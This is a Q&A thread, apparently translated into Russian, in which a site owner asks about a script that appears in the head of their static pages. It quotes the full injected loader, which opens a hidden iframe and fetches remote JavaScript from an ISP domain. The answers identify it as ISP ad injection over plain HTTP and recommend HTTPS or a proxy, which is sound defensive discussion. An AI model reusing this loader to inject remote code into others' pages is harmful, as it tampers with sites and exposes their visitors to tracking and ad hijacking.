Это внедренный код JavaScript и как предотвратить его появление после загрузки?
У меня статичный сайт. Я обновляю веб-страницы на своем компьютере и загружаю их с помощью FileZilla. Тем не менее, после загрузки я просматриваю исходный код любой из моих страниц и вижу скрипт, который вставляется внутри <head>
, Скрипт не меняет макет или видимое содержимое страницы, поэтому я не знаю, что он вообще делает:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
После проверки URL в скрипте http://globe.moreforme.net
Я понимаю, что сценарий, скорее всего, от нашего провайдера (глобус). Поскольку я новичок в интернет-безопасности, я не знаю, как сценарий попал туда в первую очередь. Мой сайт статический HTML. Как я могу предотвратить появление этого скрипта в исходном коде после загрузки страницы?
РЕДАКТИРОВАТЬ:
Нашел эту ссылку, которая выглядит как код шаблона для создания скрипта. Кто-нибудь знает, что делает скрипт?
2 ответа
Во-первых, это работает только потому, что вы используете HTTP вместо HTTPS
Ваш провайдер внедряет этот скрипт и затем использует его для динамической загрузки другого скрипта (в iframe?).
По какой-то причине я не могу перейти на globe.moreforme.net, на котором размещены скрипты... он перенаправляет меня на globe.moreforme.ph, так что globe.moreforme.net, скорее всего, доступен только для людей, использующих интернет-провайдера.
Теперь, если бы мне пришлось делать какие-то дикие предположения... Я бы сказал, что провайдер использует этот динамически загружаемый скрипт для перехвата рекламы на посещаемых вами страницах, чтобы требовать ревю для себя.
Вы должны быть в состоянии предотвратить это, либо используя только HTTPS-сайты, либо используя безопасный прокси-сервер SOCKS5 (который глупо просто настроить на VPS за чертовски дешево), изучив Dynamic Port Forwarding
в SSH. В качестве альтернативы вы можете посмотреть ShadowSocks, если вы находитесь в стране, где есть брандмауэр по всей стране (Китай).
Это результат партнерства Globe Telecom со злыми Flash Networks для изменения страниц, загружаемых их клиентами, путем добавления их рекламы и, возможно, взлома рекламы других людей.
Законность этого сомнительна - они должны нарушать хотя бы законы об авторских правах. Но, учитывая юрисдикцию Филиппин, я не думаю, что вы можете сделать что-то на законных основаниях.
Это также причина, по которой все сайты должны использовать HTTPS и отключенный HTTP (кроме перенаправления на HTTPS). Сегодня есть несколько способов получить SSL-сертификат для вашего DNS-имени бесплатно, и это также улучшает ваш счет в Google.